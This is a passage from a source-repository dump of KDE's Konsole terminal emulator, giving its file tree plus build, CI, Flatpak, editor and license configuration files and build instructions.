├── .craft.ini ├── .editorconfig ├── .flatpak-manifest.json ├── .flatpak-manifest.json.license ├── .git-blame-ignore-revs ├── .gitignore ├── .gitlab-ci.yml ├── .kde-ci.yml ├── .krazy ├── BUILD.md ├── CMakeLists.txt ├── CMakePresets.json ├── COPYING ├── COPYING.DOC ├── COPYING.LIB ├── LICENSES ├── CC0-1.0.txt ├── GPL-2.0-only.txt ├── GPL-2.0-or-later.txt ├── GPL-3.0-only.txt ├── LGPL-2.0-only.txt ├── LGPL-2.1-only.txt ├── LGPL-3.0-only.txt ├── LicenseRef-KDE-Accepted-GPL.txt ├── LicenseRef-KDE-Accepted-LGPL.txt └── MIT.txt ├── Mainpage.dox ├── README.md ├── REUSE.toml ├── completions └── konsole.zsh ├── data ├── color-schemes │ ├── BlackOnLightYellow.colorscheme │ ├── BlackOnRandomLight.colorscheme │ ├── BlackOnWhite.colorscheme │ ├── BlueOnBlack.colorscheme │ ├── Breeze.colorscheme │ ├── Campbell.colorscheme │ ├── DarkPastels.colorscheme │ ├── GreenOnBlack.colorscheme │ ├── Linux.colorscheme │ ├── RedOnBlack.colorscheme │ ├── Solarized.colorscheme │ ├── SolarizedLight.colorscheme │ ├── WhiteOnBlack.colorscheme │ └── historic │ │ ├── BlackOnLightColor.schema │ │ ├── BlackOnLightYellow.schema │ │ ├── BlackOnWhite.schema │ │ ├── DarkPicture.schema │ │ ├── Example.Schema │ │ ├── GreenOnBlack.schema │ │ ├── GreenTint.schema │ │ ├── GreenTint_MC.schema │ │ ├── LightPicture.schema │ │ ├── Linux.schema │ │ ├── README.Schema │ │ ├── README.default.Schema │ │ ├── Transparent.schema │ │ ├── Transparent_MC.schema │ │ ├── Transparent_darkbg.schema │ │ ├── Transparent_lightbg.schema │ │ ├── WhiteOnBlack.schema │ │ ├── XTerm.schema │ │ ├── syscolor.schema │ │ └── vim.schema ├── data.qrc ├── icons │ ├── 128-apps-utilities-terminal.png │ ├── 16-apps-utilities-terminal.png │ ├── 22-apps-utilities-terminal.png │ ├── 32-apps-utilities-terminal.png │ ├── 48-apps-utilities-terminal.png │ └── 64-apps-utilities-terminal.png ├── keyboard-layouts │ ├── README-KeyTab │ ├── README-KeyTab-original │ ├── default.keytab │ ├── historic │ │ ├── vt100.keytab │ │ └── x11r5.keytab │ ├── linux.keytab │ ├── macos.keytab │ └── solaris.keytab ├── konsole.knsrc ├── konsolerc └── layouts │ ├── 1x2-terminals.json │ ├── 2x1-terminals.json │ └── 2x2-terminals.json ├── desktop ├── CMakeLists.txt ├── konsole.notifyrc ├── konsole.qrc ├── konsolepart.desktop ├── konsolerun.desktop ├── konsoleui.rc ├── org.kde.konsole.appdata.xml ├── org.kde.konsole.desktop ├── partui.rc ├── sessionui.rc └── terminalemulator.desktop ├── doc ├── developer │ ├── MAINTAINER.README │ ├── README │ ├── commit-template │ └── pre-push ├── manual │ ├── CMakeLists.txt │ ├── README │ ├── draganddrop-contextmenu.png │ └── index.docbook └── user │ ├── README.fonts │ ├── README.keyboard │ ├── README.linux.console │ └── README.moreColors ├── po ├── af │ └── konsole.po ├── ar │ └── konsole.po ├── ast │ └── konsole.po ├── az │ └── konsole.po ├── be │ └── konsole.po ├── be@latin │ └── konsole.po ├── bg │ └── konsole.po ├── bn │ └── konsole.po ├── bn_IN │ └── konsole.po ├── br │ └── konsole.po ├── bs │ └── konsole.po ├── ca │ ├── docs │ │ └── konsole │ │ │ ├── draganddrop-contextmenu.png │ │ │ └── index.docbook │ └── konsole.po ├── ca@valencia │ └── konsole.po ├── cs │ └── konsole.po ├── csb │ └── konsole.po ├── cy │ └── konsole.po ├── da │ └── konsole.po ├── de │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po ├── el │ └── konsole.po ├── en_GB │ └── konsole.po ├── eo │ └── konsole.po ├── es │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po ├── et │ └── konsole.po ├── eu │ └── konsole.po ├── fa │ └── konsole.po ├── fi │ └── konsole.po ├── fr │ └── konsole.po ├── fy │ └── konsole.po ├── ga │ └── konsole.po ├── gl │ └── konsole.po ├── gu │ └── konsole.po ├── he │ └── konsole.po ├── hi │ └── konsole.po ├── hne │ └── konsole.po ├── hr │ └── konsole.po ├── hsb │ └── konsole.po ├── hu │ └── konsole.po ├── ia │ └── konsole.po ├── id │ └── konsole.po ├── ie │ └── konsole.po ├── is │ └── konsole.po ├── it │ ├── docs │ │ └── konsole │ │ │ ├── draganddrop-contextmenu.png │ │ │ └── index.docbook │ └── konsole.po ├── ja │ └── konsole.po ├── ka │ └── konsole.po ├── kk │ └── konsole.po ├── km │ └── konsole.po ├── kn │ └── konsole.po ├── ko │ └── konsole.po ├── ku │ └── konsole.po ├── lt │ └── konsole.po ├── lv │ └── konsole.po ├── mai │ └── konsole.po ├── mk │ └── konsole.po ├── ml │ └── konsole.po ├── mr │ └── konsole.po ├── ms │ └── konsole.po ├── nb │ └── konsole.po ├── nds │ └── konsole.po ├── ne │ └── konsole.po ├── nl │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po ├── nn │ └── konsole.po ├── oc │ └── konsole.po ├── or │ └── konsole.po ├── pa │ └── konsole.po ├── pl │ └── konsole.po ├── pt │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po ├── pt_BR │ ├── docs │ │ └── konsole │ │ │ ├── draganddrop-contextmenu.png │ │ │ └── index.docbook │ └── konsole.po ├── ro │ └── konsole.po ├── ru │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po ├── sa │ └── konsole.po ├── se │ └── konsole.po ├── si │ └── konsole.po ├── sk │ └── konsole.po ├── sl │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po ├── sq │ └── konsole.po ├── sr │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po ├── sr@ijekavian │ └── konsole.po ├── sr@ijekavianlatin │ └── konsole.po ├── sr@latin │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po ├── sv │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po ├── ta │ └── konsole.po ├── te │ └── konsole.po ├── tg │ └── konsole.po ├── th │ └── konsole.po ├── tr │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po ├── ug │ └── konsole.po ├── uk │ ├── docs │ │ └── konsole │ │ │ ├── draganddrop-contextmenu.png │ │ │ └── index.docbook │ └── konsole.po ├── uz │ └── konsole.po ├── uz@cyrillic │ └── konsole.po ├── vi │ └── konsole.po ├── wa │ └── konsole.po ├── xh │ └── konsole.po ├── zh_CN │ ├── docs │ │ └── konsole │ │ │ └── index.docbook │ └── konsole.po └── zh_TW │ └── konsole.po ├── src ├── Application.cpp ├── Application.h ├── BookmarkHandler.cpp ├── BookmarkHandler.h ├── BookmarkMenu.cpp ├── BookmarkMenu.h ├── CMakeLists.txt ├── CheckableSessionModel.cpp ├── CheckableSessionModel.h ├── CopyInputDialog.cpp ├── CopyInputDialog.h ├── CopyInputDialog.ui ├── Emulation.cpp ├── Emulation.h ├── Enumeration.h ├── EscapeSequenceUrlExtractor.cpp ├── EscapeSequenceUrlExtractor.h ├── FontDialog.cpp ├── FontDialog.h ├── HistorySizeDialog.cpp ├── HistorySizeDialog.h ├── HistorySizeDialog.ui ├── KeyBindingEditor.cpp ├── KeyBindingEditor.h ├── KeyBindingEditor.ui ├── LabelsAligner.cpp ├── LabelsAligner.h ├── MainWindow.cpp ├── MainWindow.h ├── Messages.sh ├── NullProcessInfo.cpp ├── NullProcessInfo.h ├── Part.cpp ├── Part.h ├── PopStackOnExit.h ├── PrintOptions.cpp ├── PrintOptions.h ├── PrintOptions.ui ├── ProcessInfo.cpp ├── ProcessInfo.h ├── Pty.cpp ├── Pty.h ├── RenameTabDialog.cpp ├── RenameTabDialog.h ├── RenameTabDialog.ui ├── SSHProcessInfo.cpp ├── SSHProcessInfo.h ├── SaveHistoryAutoTask.cpp ├── SaveHistoryAutoTask.h ├── SaveHistoryTask.cpp ├── SaveHistoryTask.h ├── Screen.cpp ├── Screen.h ├── ScreenWindow.cpp ├── ScreenWindow.h ├── ScrollState.cpp ├── ScrollState.h ├── SearchHistoryTask.cpp ├── SearchHistoryTask.h ├── ShellCommand.cpp ├── ShellCommand.h ├── Shortcut_p.h ├── ShouldApplyProperty.cpp ├── ShouldApplyProperty.h ├── UnixProcessInfo.cpp ├── UnixProcessInfo.h ├── ViewManager.cpp ├── ViewManager.h ├── ViewProperties.cpp ├── ViewProperties.h ├── Vt102Emulation.cpp ├── Vt102Emulation.h ├── WindowSystemInfo.cpp ├── WindowSystemInfo.h ├── ZModemDialog.cpp ├── ZModemDialog.h ├── autotests │ ├── BookMarkTest.cpp │ ├── BookMarkTest.h │ ├── CMakeLists.txt │ ├── CharacterColorTest.cpp │ ├── CharacterColorTest.h │ ├── CharacterTest.cpp │ ├── CharacterTest.h │ ├── CharacterWidthTest.cpp │ ├── CharacterWidthTest.h │ ├── DBusTest.cpp │ ├── DBusTest.h │ ├── HistoryTest.cpp │ ├── HistoryTest.h │ ├── HotSpotFilterTest.cpp │ ├── HotSpotFilterTest.h │ ├── KeyboardTranslatorTest.cpp │ ├── KeyboardTranslatorTest.h │ ├── PartTest.cpp │ ├── PartTest.h │ ├── ProcessInfoTest.cpp │ ├── ProcessInfoTest.h │ ├── ProfileTest.cpp │ ├── ProfileTest.h │ ├── PtyTest.cpp │ ├── PtyTest.h │ ├── ScreenTest.cpp │ ├── ScreenTest.h │ ├── SessionManagerTest.cpp │ ├── SessionManagerTest.h │ ├── SessionTest.cpp │ ├── SessionTest.h │ ├── ShellCommandTest.cpp │ ├── ShellCommandTest.h │ ├── TerminalCharacterDecoderTest.cpp │ ├── TerminalCharacterDecoderTest.h │ ├── TerminalInterfaceTest.cpp │ ├── TerminalInterfaceTest.h │ ├── TerminalTest.cpp │ ├── TerminalTest.h │ ├── ViewManagerTest.cpp │ ├── ViewManagerTest.h │ ├── Vt102EmulationTest.cpp │ ├── Vt102EmulationTest.h │ └── data │ │ ├── bookmarks.xml │ │ ├── invalid-parent.profile │ │ ├── named-built-in.profile │ │ └── test.keytab ├── characters │ ├── CMakeLists.txt │ ├── Character.h │ ├── CharacterColor.h │ ├── CharacterWidth.cpp │ ├── CharacterWidth.h │ ├── CharacterWidth.src.cpp │ ├── ExtendedCharTable.cpp │ ├── ExtendedCharTable.h │ ├── Hangul.cpp │ ├── Hangul.h │ ├── LineBlockCharacters.cpp │ └── LineBlockCharacters.h ├── colorscheme │ ├── CMakeLists.txt │ ├── ColorScheme.cpp │ ├── ColorScheme.h │ ├── ColorSchemeEditor.cpp │ ├── ColorSchemeEditor.h │ ├── ColorSchemeEditor.ui │ ├── ColorSchemeManager.cpp │ ├── ColorSchemeManager.h │ ├── ColorSchemeViewDelegate.cpp │ ├── ColorSchemeViewDelegate.h │ ├── ColorSchemeWallpaper.cpp │ ├── ColorSchemeWallpaper.h │ ├── RandomizationRange.cpp │ ├── RandomizationRange.h │ ├── hsluv.c │ └── hsluv.h ├── config-konsole.h.cmake ├── decoders │ ├── CMakeLists.txt │ ├── HTMLDecoder.cpp │ ├── HTMLDecoder.h │ ├── PlainTextDecoder.cpp │ ├── PlainTextDecoder.h │ └── TerminalCharacterDecoder.h ├── delegates │ ├── ProfileShortcutDelegate.cpp │ └── ProfileShortcutDelegate.h ├── filterHotSpots │ ├── ColorFilter.cpp │ ├── ColorFilter.h │ ├── ColorFilterHotSpot.cpp │ ├── ColorFilterHotSpot.h │ ├── EscapeSequenceUrlFilter.cpp │ ├── EscapeSequenceUrlFilter.h │ ├── EscapeSequenceUrlFilterHotSpot.cpp │ ├── EscapeSequenceUrlFilterHotSpot.h │ ├── FileFilter.cpp │ ├── FileFilter.h │ ├── FileFilterHotspot.cpp │ ├── FileFilterHotspot.h │ ├── Filter.cpp │ ├── Filter.h │ ├── FilterChain.cpp │ ├── FilterChain.h │ ├── HotSpot.cpp │ ├── HotSpot.h │ ├── RegExpFilter.cpp │ ├── RegExpFilter.h │ ├── RegExpFilterHotspot.cpp │ ├── RegExpFilterHotspot.h │ ├── TerminalImageFilterChain.cpp │ ├── TerminalImageFilterChain.h │ ├── UrlFilter.cpp │ ├── UrlFilter.h │ ├── UrlFilterHotspot.cpp │ └── UrlFilterHotspot.h ├── history │ ├── HistoryFile.cpp │ ├── HistoryFile.h │ ├── HistoryScroll.cpp │ ├── HistoryScroll.h │ ├── HistoryScrollFile.cpp │ ├── HistoryScrollFile.h │ ├── HistoryScrollNone.cpp │ ├── HistoryScrollNone.h │ ├── HistoryType.cpp │ ├── HistoryType.h │ ├── HistoryTypeFile.cpp │ ├── HistoryTypeFile.h │ ├── HistoryTypeNone.cpp │ ├── HistoryTypeNone.h │ └── compact │ │ ├── CompactHistoryScroll.cpp │ │ ├── CompactHistoryScroll.h │ │ ├── CompactHistoryType.cpp │ │ └── CompactHistoryType.h ├── keyboardtranslator │ ├── CMakeLists.txt │ ├── KeyboardTranslator.cpp │ ├── KeyboardTranslator.h │ ├── KeyboardTranslatorManager.cpp │ ├── KeyboardTranslatorManager.h │ ├── KeyboardTranslatorReader.cpp │ ├── KeyboardTranslatorReader.h │ ├── KeyboardTranslatorWriter.cpp │ └── KeyboardTranslatorWriter.h ├── konsolepart.json ├── main.cpp ├── plugins │ ├── CMakeLists.txt │ ├── QuickCommands │ │ ├── CMakeLists.txt │ │ ├── filtermodel.cpp │ │ ├── filtermodel.h │ │ ├── konsole_quickcommands.in.json │ │ ├── qcwidget.ui │ │ ├── quickcommanddata.h │ │ ├── quickcommandsmodel.cpp │ │ ├── quickcommandsmodel.h │ │ ├── quickcommandsplugin.cpp │ │ ├── quickcommandsplugin.h │ │ ├── quickcommandswidget.cpp │ │ └── quickcommandswidget.h │ └── SSHManager │ │ ├── CMakeLists.txt │ │ ├── konsole_sshmanager.in.json │ │ ├── sshconfigurationdata.h │ │ ├── sshmanagerfiltermodel.cpp │ │ ├── sshmanagerfiltermodel.h │ │ ├── sshmanagermodel.cpp │ │ ├── sshmanagermodel.h │ │ ├── sshmanagerplugin.cpp │ │ ├── sshmanagerplugin.h │ │ ├── sshmanagerpluginwidget.cpp │ │ ├── sshmanagerpluginwidget.h │ │ ├── sshtreeview.cpp │ │ ├── sshtreeview.h │ │ └── sshwidget.ui ├── pluginsystem │ ├── CMakeLists.txt │ ├── IKonsolePlugin.cpp │ ├── IKonsolePlugin.h │ ├── PluginManager.cpp │ └── PluginManager.h ├── profile │ ├── Profile.cpp │ ├── Profile.h │ ├── ProfileCommandParser.cpp │ ├── ProfileCommandParser.h │ ├── ProfileGroup.cpp │ ├── ProfileGroup.h │ ├── ProfileList.cpp │ ├── ProfileList.h │ ├── ProfileManager.cpp │ ├── ProfileManager.h │ ├── ProfileModel.cpp │ ├── ProfileModel.h │ ├── ProfileReader.cpp │ ├── ProfileReader.h │ ├── ProfileWriter.cpp │ └── ProfileWriter.h ├── ptyqt │ ├── conptyprocess.cpp │ ├── conptyprocess.h │ ├── iptyprocess.cpp │ └── iptyprocess.h ├── searchtabs │ ├── SearchTabs.cpp │ ├── SearchTabs.h │ ├── SearchTabsModel.cpp │ └── SearchTabsModel.h ├── session │ ├── Session.cpp │ ├── Session.h │ ├── SessionController.cpp │ ├── SessionController.h │ ├── SessionDisplayConnection.cpp │ ├── SessionDisplayConnection.h │ ├── SessionGroup.cpp │ ├── SessionGroup.h │ ├── SessionListModel.cpp │ ├── SessionListModel.h │ ├── SessionManager.cpp │ ├── SessionManager.h │ ├── SessionTask.cpp │ └── SessionTask.h ├── settings │ ├── ConfigDialogButtonGroupManager.cpp │ ├── ConfigDialogButtonGroupManager.h │ ├── ConfigurationDialog.cpp │ ├── ConfigurationDialog.h │ ├── GeneralSettings.cpp │ ├── GeneralSettings.h │ ├── GeneralSettings.ui │ ├── KonsoleSettings.kcfgc │ ├── MemorySettings.cpp │ ├── MemorySettings.h │ ├── MemorySettings.ui │ ├── PartInfo.cpp │ ├── PartInfo.h │ ├── PartInfo.ui │ ├── ProfileSettings.cpp │ ├── ProfileSettings.h │ ├── ProfileSettings.ui │ ├── TabBarSettings.cpp │ ├── TabBarSettings.h │ ├── TabBarSettings.ui │ ├── TemporaryFilesSettings.cpp │ ├── TemporaryFilesSettings.h │ ├── TemporaryFilesSettings.ui │ ├── ThumbnailsSettings.cpp │ ├── ThumbnailsSettings.h │ ├── ThumbnailsSettings.ui │ └── konsole.kcfg ├── terminalDisplay │ ├── TerminalBell.cpp │ ├── TerminalBell.h │ ├── TerminalColor.cpp │ ├── TerminalColor.h │ ├── TerminalDisplay.cpp │ ├── TerminalDisplay.h │ ├── TerminalFonts.cpp │ ├── TerminalFonts.h │ ├── TerminalPainter.cpp │ ├── TerminalPainter.h │ ├── TerminalScrollBar.cpp │ ├── TerminalScrollBar.h │ └── extras │ │ ├── AutoScrollHandler.cpp │ │ ├── AutoScrollHandler.h │ │ ├── CompositeWidgetFocusWatcher.cpp │ │ ├── CompositeWidgetFocusWatcher.h │ │ ├── HighlightScrolledLines.cpp │ │ └── HighlightScrolledLines.h ├── tests │ ├── CMakeLists.txt │ ├── PartManualTest.cpp │ ├── PartManualTest.h │ └── demo_konsolepart │ │ ├── CMakeLists.txt │ │ ├── README │ │ └── src │ │ ├── CMakeLists.txt │ │ ├── demo_konsolepart.cpp │ │ ├── demo_konsolepart.h │ │ └── main.cpp └── widgets │ ├── DetachableTabBar.cpp │ ├── DetachableTabBar.h │ ├── EditProfileAdvancedPage.ui │ ├── EditProfileAppearancePage.ui │ ├── EditProfileDialog.cpp │ ├── EditProfileDialog.h │ ├── EditProfileGeneralPage.ui │ ├── EditProfileKeyboardPage.ui │ ├── EditProfileMousePage.ui │ ├── EditProfileScrollingPage.ui │ ├── EditProfileTabsPage.ui │ ├── HistorySizeWidget.cpp │ ├── HistorySizeWidget.h │ ├── HistorySizeWidget.ui │ ├── IncrementalSearchBar.cpp │ ├── IncrementalSearchBar.h │ ├── IncrementalSearchBarSizeGrip.cpp │ ├── IncrementalSearchBarSizeGrip.h │ ├── KonsolePrintManager.cpp │ ├── KonsolePrintManager.h │ ├── RenameTabWidget.cpp │ ├── RenameTabWidget.h │ ├── RenameTabWidget.ui │ ├── TabTitleFormatButton.cpp │ ├── TabTitleFormatButton.h │ ├── TerminalDisplayAccessible.cpp │ ├── TerminalDisplayAccessible.h │ ├── TerminalHeaderBar.cpp │ ├── TerminalHeaderBar.h │ ├── ViewContainer.cpp │ ├── ViewContainer.h │ ├── ViewSplitter.cpp │ └── ViewSplitter.h ├── tests ├── Makefile ├── README.md ├── README.xterm ├── bugs │ ├── Makefile │ ├── bulktest.sh │ ├── combining.py │ ├── resize-test.sh │ ├── spam-stderr.c │ └── unicode.py ├── features │ ├── Makefile │ ├── colortest.sh │ ├── ct2.sh │ ├── line_block_characters_table.py │ ├── sgr2-8-9-53.sh │ ├── signaltests.c │ ├── testdwlwrap.sh │ ├── testwrap.sh │ ├── titletest.sh │ └── utf8.sh ├── legacy │ ├── Makefile │ ├── audit.c │ ├── quote.c │ └── sesstest.sh ├── misc │ ├── Makefile │ └── ripple.c └── text-files │ ├── 9x15.repertoire-utf8.txt │ ├── GLASS.utf8.txt │ ├── UTF-8-demo.txt │ ├── UTF-8-test.txt │ ├── boxes.txt │ ├── cat_test_urls.txt │ ├── decomposed-hangul.txt │ ├── emoji_test.txt │ ├── kitty.examples │ └── url-escape-sequences.txt └── tools ├── CMakeLists.txt ├── konsoleprofile └── uni2characterwidth ├── CMakeLists.txt ├── overrides.txt ├── properties.h ├── template.cpp ├── template.example ├── template.h └── uni2characterwidth.cpp /.craft.ini: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: Laurent Montel 2 | # SPDX-License-Identifier: CC0-1.0 3 | 4 | [BlueprintSettings] 5 | kde/applications/konsole/konsole.packageAppx=True 6 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # https://editorconfig.org 2 | root = true 3 | 4 | [*] 5 | charset = utf-8 6 | end_of_line = lf 7 | indent_size = 4 8 | indent_style = space 9 | insert_final_newline = true 10 | max_line_length = 100 11 | trim_trailing_whitespace = true 12 | 13 | [*.md] 14 | trim_trailing_whitespace = false 15 | -------------------------------------------------------------------------------- /.flatpak-manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "id": "org.kde.konsole", 3 | "branch": "master", 4 | "runtime": "org.kde.Platform", 5 | "runtime-version": "6.8", 6 | "sdk": "org.kde.Sdk", 7 | "command": "konsole", 8 | "tags": ["nightly"], 9 | "desktop-file-name-suffix": " (Nightly)", 10 | "finish-args": [ 11 | "--device=dri", 12 | "--share=ipc", 13 | "--share=network", 14 | "--socket=wayland", 15 | "--socket=fallback-x11", 16 | "--talk-name=org.freedesktop.Flatpak" 17 | ], 18 | "rename-icon": "utilities-terminal", 19 | "modules": [ 20 | { 21 | "name": "konsole", 22 | "buildsystem": "cmake-ninja", 23 | "config-opts": [ 24 | "-DINSTALL_ICONS=ON" 25 | ], 26 | "sources": [ 27 | { "type": "dir", "path": "." } 28 | ] 29 | } 30 | ] 31 | } 32 | -------------------------------------------------------------------------------- /.flatpak-manifest.json.license: -------------------------------------------------------------------------------- 1 | SPDX-License-Identifier: CC0-1.0 2 | SPDX-FileCopyrightText: none -------------------------------------------------------------------------------- /.git-blame-ignore-revs: -------------------------------------------------------------------------------- 1 | #clang-format 2 | ffb861735675467986953684afe106112136d634 3 | 956277c0143882e93a0d7a5d86fdf8f75149fe30 4 | 736f8c0017e5728bd6f33712904664ec6686ff48 5 | 97569b764cb01b6e083b79399ea5ac353c7cd0f6 6 | d1c826adc83f275a2b3b0ac646345214362c845d 7 | 78a81b8e5b76fed2b934fddf2a53f1b65494d5ec 8 | 87e27eb811aed581b6d31c283f15480e8e559aac 9 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore the following files 2 | *~ 3 | *.[oa] 4 | *.diff 5 | *.kate-swp 6 | *.kdev4 7 | .kdev_include_paths 8 | *.kdevelop.pcs 9 | *.moc 10 | *.moc.cpp 11 | *.orig 12 | *.user 13 | .*.swp 14 | .swp.* 15 | Doxyfile 16 | Makefile 17 | avail 18 | random_seed 19 | /build*/ 20 | CMakeLists.txt.user* 21 | *.unc-backup* 22 | doxydoc/ 23 | .vscode 24 | 25 | # Ignore source trail files 26 | *.srctrlbm 27 | *.srctrldb 28 | *.srctrlprj 29 | .clang-format 30 | /compile_commands.json 31 | .clangd 32 | .cache 33 | .idea 34 | /cmake-build* 35 | 36 | !/tests/Makefile 37 | !/tests/*/Makefile 38 | 39 | /tests/bugs/spam-stderr 40 | /tests/features/signaltests 41 | /tests/legacy/audit 42 | /tests/legacy/quote 43 | /tests/misc/ripple 44 | -------------------------------------------------------------------------------- /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: None 2 | # SPDX-License-Identifier: CC0-1.0 3 | 4 | include: 5 | - project: sysadmin/ci-utilities 6 | file: 7 | # - /gitlab-templates/reuse-lint.yml 8 | - /gitlab-templates/linux-qt6.yml 9 | - /gitlab-templates/linux-qt6-next.yml 10 | - /gitlab-templates/freebsd-qt6.yml 11 | - /gitlab-templates/windows-qt6.yml 12 | - /gitlab-templates/flatpak.yml 13 | - /gitlab-templates/craft-windows-x86-64-qt6.yml 14 | - /gitlab-templates/craft-macos-arm64-qt6.yml 15 | - /gitlab-templates/craft-macos-x86-64-qt6.yml 16 | - /gitlab-templates/cppcheck.yml 17 | - /gitlab-templates/xml-lint.yml 18 | - /gitlab-templates/yaml-lint.yml 19 | -------------------------------------------------------------------------------- /.kde-ci.yml: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: None 2 | # SPDX-License-Identifier: CC0-1.0 3 | 4 | Dependencies: 5 | - 'on': ['Linux', 'FreeBSD', 'Windows'] 6 | 'require': 7 | 'frameworks/extra-cmake-modules': '@latest-kf6' 8 | 'frameworks/kconfig': '@latest-kf6' 9 | 'frameworks/knotifications': '@latest-kf6' 10 | 'frameworks/ki18n': '@latest-kf6' 11 | 'frameworks/kcoreaddons': '@latest-kf6' 12 | 'frameworks/kbookmarks': '@latest-kf6' 13 | 'frameworks/kconfigwidgets': '@latest-kf6' 14 | 'frameworks/kcrash': '@latest-kf6' 15 | 'frameworks/kguiaddons': '@latest-kf6' 16 | 'frameworks/kiconthemes': '@latest-kf6' 17 | 'frameworks/kio': '@latest-kf6' 18 | 'frameworks/knewstuff': '@latest-kf6' 19 | 'frameworks/knotifyconfig': '@latest-kf6' 20 | 'frameworks/kparts': '@latest-kf6' 21 | 'frameworks/kservice': '@latest-kf6' 22 | 'frameworks/ktextwidgets': '@latest-kf6' 23 | 'frameworks/kwidgetsaddons': '@latest-kf6' 24 | 'frameworks/kwindowsystem': '@latest-kf6' 25 | 'frameworks/kxmlgui': '@latest-kf6' 26 | 'frameworks/kdoctools': '@latest-kf6' 27 | 28 | - 'on': ['Linux', 'FreeBSD'] 29 | 'require': 30 | 'frameworks/kdbusaddons': '@latest-kf6' 31 | 'frameworks/kpty': '@latest-kf6' 32 | 'frameworks/kglobalaccel': '@latest-kf6' 33 | 34 | Options: 35 | require-passing-tests-on: ['Linux', 'FreeBSD', 'Windows'] 36 | cppcheck-arguments: 37 | - --enable=warning,style,performance 38 | # - --suppress-xml=cppcheck-suppressions.xml 39 | cppcheck-ignore-files: 40 | - src/characters/CharacterWidth.src.cpp 41 | # - autotests 42 | -------------------------------------------------------------------------------- /.krazy: -------------------------------------------------------------------------------- 1 | SKIP tools/uni2characterwidth|.git 2 | -------------------------------------------------------------------------------- /BUILD.md: -------------------------------------------------------------------------------- 1 | # Konsole - KDE's Terminal Emulator 2 | 3 | Konsole is a terminal program for KDE. 4 | 5 | 6 | ## HOWTO Build 7 | 8 | 1. Install dependencies. On neon: 9 | ``` 10 | apt install git cmake make g++ extra-cmake-modules qtbase5-dev libkf5config-dev libkf5auth-dev libkf5package-dev libkf5declarative-dev libkf5coreaddons-dev libkf5kcmutils-dev libkf5i18n-dev libqt5core5a libqt5widgets5 libqt5gui5 libqt5qml5 extra-cmake-modules qtbase5-dev kdelibs5-dev qt5-default libkf5notifyconfig-dev libkf5pty-dev libkf5notifications-dev libkf5parts-dev 11 | ``` 12 | 2. Clone with `git clone https://invent.kde.org/utilities/konsole.git` 13 | 3. Make _build_ directory: `mkdir konsole/build` 14 | 4. Change into _build_ directory: `cd konsole/build` 15 | 5. Configure: `cmake ..` (or `cmake .. -DCMAKE_INSTALL_PREFIX=/where/your/want/to/install`) 16 | 6. Build: `make` 17 | 7. Install: `make install` 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /LICENSES/LicenseRef-KDE-Accepted-GPL.txt: -------------------------------------------------------------------------------- 1 | This library is free software; you can redistribute it and/or 2 | modify it under the terms of the GNU General Public License as 3 | published by the Free Software Foundation; either version 3 of 4 | the license or (at your option) at any later version that is 5 | accepted by the membership of KDE e.V. (or its successor 6 | approved by the membership of KDE e.V.), which shall act as a 7 | proxy as defined in Section 14 of version 3 of the license. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | -------------------------------------------------------------------------------- /LICENSES/LicenseRef-KDE-Accepted-LGPL.txt: -------------------------------------------------------------------------------- 1 | This library is free software; you can redistribute it and/or 2 | modify it under the terms of the GNU Lesser General Public 3 | License as published by the Free Software Foundation; either 4 | version 3 of the license or (at your option) any later version 5 | that is accepted by the membership of KDE e.V. (or its successor 6 | approved by the membership of KDE e.V.), which shall act as a 7 | proxy as defined in Section 6 of version 3 of the license. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | -------------------------------------------------------------------------------- /LICENSES/MIT.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 6 | 7 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 10 | -------------------------------------------------------------------------------- /Mainpage.dox: -------------------------------------------------------------------------------- 1 | /** @mainpage Konsole 2 | 3 | %Konsole is a terminal emulator for KDE. 4 |

5 | To use a %Konsole part in your application, see the 6 | Terminal 7 | interface documentation in KPart's framework. 8 | 9 | To learn more about %Konsole, visit the 10 | Konsole home page, or join the 11 | konsole-devel 12 | mailing list. 13 | 14 | @authors 15 | Lars Doelle
